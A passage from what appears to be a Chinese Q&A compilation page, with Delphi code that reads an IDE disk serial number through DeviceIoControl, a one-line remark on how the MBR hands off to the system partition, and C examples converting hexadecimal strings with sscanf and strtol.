hDevice := CreateFile('\\.\SMARTVSD', 0, 0, nil, CREATE_NEW, 0, 0);
if hDevice = INVALID_HANDLE_VALUE then Exit;
try
FillChar(SCIP, SizeOf(TSendCmdInParams) - 1, #0);
FillChar(aIdOutCmd, SizeOf(aIdOutCmd), #0);
cbBytesReturned := 0;
// Set up data structures for IDENTIFY command.
with SCIP do begin
cBufferSize := IDENTIFY_BUFFER_SIZE;
// bDriveNumber := 0;
with irDriveRegs do begin
bSectorCountReg := 1;
bSectorNumberReg := 1;
// if Win32Platform=VER_PLATFORM_WIN32_NT then bDriveHeadReg := $A0
// else bDriveHeadReg := $A0 or ((bDriveNum and 1) shl 4);
bDriveHeadReg := $A0;
bCommandReg := $EC;
end;
end;
if not DeviceIoControl(hDevice, $0007C088, @SCIP, SizeOf(TSendCmdInParams) - 1,
@aIdOutCmd, SizeOf(aIdOutCmd), cbBytesReturned, nil) then Exit;
finally
CloseHandle(hDevice);
end;
with PIdSector(@IdOutCmd.bBuffer)^ do begin
ChangeByteOrder(sSerialNumber, SizeOf(sSerialNumber));
(Pchar(@sSerialNumber) + SizeOf(sSerialNumber))^ := #0;
Result := Pchar(@sSerialNumber);
end;
end;

procere TForm1.Button2Click(Sender: TObject);
begin
Edit1.Text := strpas(GetIdeSerialNumber);
end;

end.

{新建工程,把代碼粘進去,添加一個edit和一個
button命名和裡面一樣就行。在xp環境調試過,你試試吧}

『柒』 硬碟主引導記錄工作原理

由MBR轉跳給系統分區

『捌』 陣列卡硬碟空間16進制怎麼轉換

主要有兩個方法,其實都是對現有函數的使用:

方法1: sscanf()

函數名: sscanf
功 能: 從字元串格式化輸入
用 法: int sscanf(char *string, char *format[,argument,...]);

以上的 format 為 %x 就是將字元串格式化為 16 進制數

例子:

#include <stdio.h>
void main()
{
char* p = "0x1a";
int nValude = 0;
sscanf(p, "%x", &nValude);
printf("%d\r\n", nValude);
}

輸出:
26


方法2: strtol()

函數名: strtol
功 能: 將字元串轉換為長整數
用 法: long strtol(char *str, char **endptr, int base);

上面的base就是我們要轉換為幾進制數
例子:

#include <stdio.h>
#include <stdlib.h>
void main()
{
char* p = "0x1b";
char* str;
long i = strtol(p, &str, 16);
printf("%d\r\n", i);
}

輸出:
27

其實還有一種方法,就是用一個初始化為0~9~a~f的字元串數組,也就是一個十六進制對應表,用這個對應表即可算出一個十六進制字元串的數值,但這種發發太麻煩了,不推薦使用。